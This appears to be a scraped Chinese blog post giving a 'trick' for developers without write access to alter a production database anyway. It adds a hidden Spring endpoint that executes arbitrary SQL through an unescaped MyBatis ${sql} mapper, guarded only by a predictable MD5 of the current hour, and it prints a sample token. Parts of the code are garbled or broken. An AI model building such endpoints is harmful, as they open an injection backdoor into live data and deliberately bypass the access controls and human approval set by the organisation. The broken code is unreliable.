小技巧:直接修改线上数据库

阅读: 评论:0

小技巧:直接修改线上数据库

小技巧:直接修改线上数据库

有些公司由于严格的组织架构管理,除了DBA外,开发人员没有权限直接接触生产数据库。但是会开放一个窗口用于查询线上数据,方便排查问题,不过也仅限于查询,不能增删改。想要通过sql修改数据就得提交申请,一来麻烦,二来耽误时间。

所以,以下将介绍怎么通过代码,直接操作线上数据库增删改,方便开发人员用于数据出现问题以后的恢复。

控制层
@PostMapping("sqlIn")public Object sqlIn(@RequestParam(value = "code", required = true) String code,@RequestParam(value = "sql", required = true) String sql) throws Exception {SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHH");MessageDigest md5 = Instance("md5");byte[] digest = md5.digest(sdf.format(new Date()).getBytes(StandardCharsets.UTF_8));String str = HexString(digest);if (str.equalsIgnoreCase(code)) {List<Map<String, Object>> maps = sqlInMapper.sqlIn(sql);return maps;} else {return "参数错误";}}
  • code:用于校验,防止除了本人以来有人通过调接口恶意修改数据库造成问题
  • sql:待执行的SQL语句,由于DDL语句需要的权限更高,一般不太适用,所以就简单的DML语句

由于是自己调用的接口 ,所以代码写在controller里,省略了service层

Mapper层
@Mapper
public interface SqlInMapper {
​/*** sqlIn** @param sql* @return*/List<Map<String, Object>> sqlIn(@Param("sql") String sql);
}
​
xml文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis//DTD Mapper 3.0//EN" ".dtd">
<mapper namespace=&#st.zhyang.mapper.SqlInMapper"><select id="sqlIn" resultType="java.util.Map">${sql}</select>
</mapper>

对于code我这块用的是当前时间转换成yyyyMMddHH格式,再通过md5加密进行转换。比如当前时间2022-07-01 10:40 此时code为 7ea41d1f7a7fdedad398dac5aaf4fb96

此时直接通过postman调用接口获取数据,以查询语句示例:

!!!禁止用于非法操作。

本文发布于:2024-02-04 21:28:28,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170716840559776.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:线上   小技巧   数据库
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23